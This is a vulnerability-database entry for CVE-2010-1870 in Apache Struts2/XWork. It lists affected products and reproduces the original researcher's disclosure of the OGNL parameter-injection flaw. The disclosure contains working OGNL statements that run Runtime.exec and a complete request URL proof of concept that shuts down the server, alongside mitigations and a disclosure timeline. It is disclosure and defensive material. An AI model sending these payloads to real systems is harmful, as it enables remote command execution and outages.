ID

VAR-E-201007-0288


CVE

cve_id:CVE-2010-1870

Trust: 3.5

sources: BID: 41592 // PACKETSTORM: 91774 // PACKETSTORM: 104227 // EXPLOIT-DB: 14360 // EDBNET: 40231 // EDBNET: 37400

EDB ID

14360


TITLE

Struts2/XWork < 2.2.0 - Remote Command Execution - Multiple remote Exploit

Trust: 0.6

sources: EXPLOIT-DB: 14360

DESCRIPTION

Struts2/XWork < 2.2.0 - Remote Command Execution. CVE-2010-1870CVE-66280 . remote exploit for Multiple platform

Trust: 0.6

sources: EXPLOIT-DB: 14360

AFFECTED PRODUCTS

vendor:struts2 xworkmodel: - scope:ltversion:2.2.0

Trust: 1.6

vendor:apachemodel:strutsscope:ltversion:2.2.0

Trust: 0.6

vendor:struts2 xworkmodel:remotescope: - version: -

Trust: 0.5

vendor:apachemodel:struts remotescope:ltversion:2.2.0

Trust: 0.5

vendor:vmwaremodel:vcenter orchestratorscope:eqversion:4.1

Trust: 0.3

vendor:vmwaremodel:vcenter orchestratorscope:eqversion:4.0

Trust: 0.3

vendor:opensymphonymodel:xworkscope:eqversion:2.1.5

Trust: 0.3

vendor:opensymphonymodel:xworkscope:eqversion:2.1

Trust: 0.3

vendor:opensymphonymodel:xworkscope:eqversion:2.0.6

Trust: 0.3

vendor:opensymphonymodel:xworkscope:eqversion:2.0.5

Trust: 0.3

vendor:opensymphonymodel:xworkscope:eqversion:2.0.4

Trust: 0.3

vendor:opensymphonymodel:xworkscope:eqversion:2.0.3

Trust: 0.3

vendor:opensymphonymodel:xworkscope:eqversion:2.0.2

Trust: 0.3

vendor:opensymphonymodel:xworkscope:eqversion:2.0.1

Trust: 0.3

vendor:ciscomodel:unified contact center enterprisescope:eqversion:0

Trust: 0.3

vendor:atlassianmodel:fisheyescope:eqversion:2.3.4

Trust: 0.3

vendor:atlassianmodel:fisheyescope:eqversion:2.2.3

Trust: 0.3

vendor:atlassianmodel:cruciblescope:eqversion:2.3.2

Trust: 0.3

vendor:atlassianmodel:cruciblescope:eqversion:2.2.3

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.1.8.1

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.1.8

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.1.1

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.1

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0.12

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0.11.2

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0.11.1

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0.9

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0.8

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0.7

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0.6

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0.5

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0.4

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0.3

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0.2

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0.1

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0

Trust: 0.3

vendor:apachemodel:software foundation archivascope:eqversion:1.3.4

Trust: 0.3

vendor:apachemodel:software foundation archivascope:eqversion:1.3.3

Trust: 0.3

vendor:apachemodel:software foundation archivascope:eqversion:1.3.1

Trust: 0.3

vendor:apachemodel:software foundation archivascope:eqversion:1.3.5

Trust: 0.3

vendor:apachemodel:software foundation archivascope:eqversion:1.3

Trust: 0.3

vendor:ciscomodel:media experience enginescope:neversion:56001.0

Trust: 0.3

vendor:atlassianmodel:fisheyescope:neversion:2.3.1

Trust: 0.3

vendor:atlassianmodel:cruciblescope:neversion:2.3.3

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:neversion:2.2

Trust: 0.3

sources: BID: 41592 // PACKETSTORM: 91774 // PACKETSTORM: 104227 // EXPLOIT-DB: 14360 // EDBNET: 40231 // EDBNET: 37400

EXPLOIT

Friday, July 9, 2010
CVE-2010-1870: Struts2/XWork remote command execution
Update Tue Jul 13 2010: Added proof of concept

Apache Struts team has announced uploaded but has not released, due to an unreasonably prolonged voting process, the 2.2.0 release of the Struts2 web framework which fixes vulnerability that I've reported to them on May 31st 2010. Apache Struts team is ridiculously slow in releasing the fixed version and all of my attempts to expedite the process have failed.

Introduction
Struts2 is Struts + WebWork. WebWork in turn uses XWork to invoke actions and call appropriate setters/getters based on HTTP parameter names, which is achieved by treating each HTTP parameter name as an OGNL statement. OGNL (Object Graph Navigation Language) is what turns:

user.address.city=Bishkek&user['favoriteDrink']=kumys

into

action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")

This is performed by the ParametersInterceptor, which calls ValueStack.setValue() with user-supplied HTTP parameters as arguments.
NOTE: If you are using XWork's ParametersInterceptor or operate with OGNL ValueStack in a similar way then you are vulnerable (ParametersInterceptor is on by default in struts-default.xml).

In addition to property getting/setting, OGNL supports many more features:

* Method calling: foo()
* Static method calling: @java.lang.System@exit(1)
* Constructor calling: new MyClass()
* Ability to work with context variables: #foo = new MyClass()
* And more...

Since HTTP parameter names are OGNL statements, to prevent an attacker from calling arbitrary methods via HTTP parameters XWork has the following two variables guarding methods execution:

* OgnlContext's property 'xwork.MethodAccessor.denyMethodExecution' (set to true by default)
* SecurityMemberAccess private field called 'allowStaticMethodAccess' (set to false by default)

OGNL Context variables
To make it easier for developer to access various frequently needed objects XWork provides several predefined context variables:

* #application
* #session
* #request
* #parameters
* #attr

These variables represent various server-side objects, such as session map. To prevent attackers from tampering with server-side objects XWork's ParametersInterceptor disallowed # in parameter names. About a year ago I found a way to bypass that protection(XW-641) using Java's unicode String representation: \u0023. At the time I felt like the fix that was implemented (OGNL value stack clearing) was insufficient, but had not time to investigate this further.

CVE-2010-1870
Earlier this year I finally got a chance to look at this again and found that in addition to the above mentioned context variables there were more:

* #context - OgnlContext, the one guarding method execution based on 'xwork.MethodAccessor.denyMethodExecution' property value.
* #_memberAccess - SecurityMemberAccess, whose 'allowStaticAccess' field prevented static method execution.
* #root
* #this
* #_typeResolver
* #_classResolver
* #_traceEvaluations
* #_lastEvaluation
* #_keepLastEvaluation

You can probably see the problem already. Using XW-641 trick I was able to modify the values that were guarding Java methods execution and run arbitrary Java code:

#_memberAccess['allowStaticMethodAccess'] = true
#foo = new java .lang.Boolean("false")
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
#rt = @java.lang.Runtime@getRuntime()
#rt.exec('mkdir /tmp/PWNED')

Actual proof of concept had to use OGNL's expression evaluation when crafting HTTP request. PoC for this bug will be published on July 12 2010. To test whether your application is vulnerable you can use the following proof of concept, which will call java.lang.Runtime.getRuntime().exit(1):

http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.den
yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti
me()))=1

Fixing CVE-2010-1870
Struts2 users must upgrade to the 2.2.0, which whitelists a set of characters that excludes characters required to exploit this vulnerability.

In cases where upgrade isn't possible you can use ParameterInterceptor's "excludeParams" parameter to whitelist the characters required for your application to operate correctly(usually A-z0-9_.'"[]) alternatively you can blacklist \()@ which are the characters required to exploit this bug.

Timeline
May 31st - email to security@struts.apache.org with vulnerability report.
June 4th - no response received, contacted developers again.
June 5th - had to find an XWork developer on IRC to look at this.
June 16th - Atlassian fixes vulnerability in its products. Atlassian and Struts developers worked together in coming up with the fix.
June 20th - 1-line fix commited
June 29th - Struts 2.2.0 release voting process started and is still going...

Trust: 1.0

sources: EXPLOIT-DB: 14360

EXPLOIT LANGUAGE

txt

Trust: 0.6

sources: EXPLOIT-DB: 14360

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 14360

TYPE

Remote Command Execution

Trust: 1.6

sources: EXPLOIT-DB: 14360 // EDBNET: 40231

TAGS

tag:exploit

Trust: 1.0

tag:remote

Trust: 1.0

tag:java

Trust: 0.5

tag:web

Trust: 0.5

tag:arbitrary

Trust: 0.5

sources: PACKETSTORM: 91774 // PACKETSTORM: 104227

CREDITS

Meder Kydyraliev

Trust: 0.6

sources: EXPLOIT-DB: 14360

EXTERNAL IDS

db:NVDid:CVE-2010-1870

Trust: 3.5

db:EXPLOIT-DBid:14360

Trust: 3.3

db:EDBNETid:40231

Trust: 0.6

db:0DAYTODAYid:16723

Trust: 0.6

db:EDBNETid:16699

Trust: 0.6

db:EDBNETid:37400

Trust: 0.6

db:PACKETSTORMid:91774

Trust: 0.5

db:PACKETSTORMid:104227

Trust: 0.5

db:BIDid:41592

Trust: 0.3

sources: BID: 41592 // PACKETSTORM: 91774 // PACKETSTORM: 104227 // EXPLOIT-DB: 14360 // EDBNET: 40231 // EDBNET: 16699 // EDBNET: 37400

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2010-1870

Trust: 3.2

url:https://www.exploit-db.com/exploits/17691/

Trust: 0.6

url:https://0day.today/exploits/16723

Trust: 0.6

url:https://www.exploit-db.com/exploits/14360/

Trust: 0.6

url:http://www.opensymphony.com/xwork/

Trust: 0.3

url:http://confluence.atlassian.com/display/fisheye/fisheye+security+advisory+2010-06-16

Trust: 0.3

url:http://blog.o0o.nu/2010/07/cve-2010-1870-struts2xwork-remote.html

Trust: 0.3

url:http://svn.apache.org/viewvc?view=revision&revision=956389

Trust: 0.3

sources: BID: 41592 // PACKETSTORM: 91774 // PACKETSTORM: 104227 // EXPLOIT-DB: 14360 // EDBNET: 40231 // EDBNET: 16699 // EDBNET: 37400

SOURCES

db:BIDid:41592
db:PACKETSTORMid:91774
db:PACKETSTORMid:104227
db:EXPLOIT-DBid:14360
db:EDBNETid:40231
db:EDBNETid:16699
db:EDBNETid:37400

LAST UPDATE DATE

2022-07-27T09:38:29.128000+00:00


SOURCES UPDATE DATE

db:BIDid:41592date:2014-09-01T01:23:00

SOURCES RELEASE DATE

db:BIDid:41592date:2010-07-13T00:00:00
db:PACKETSTORMid:91774date:2010-07-14T04:47:40
db:PACKETSTORMid:104227date:2011-08-19T14:46:22
db:EXPLOIT-DBid:14360date:2010-07-14T00:00:00
db:EDBNETid:40231date:2011-08-19T00:00:00
db:EDBNETid:16699date:2011-08-19T00:00:00
db:EDBNETid:37400date:2010-07-14T00:00:00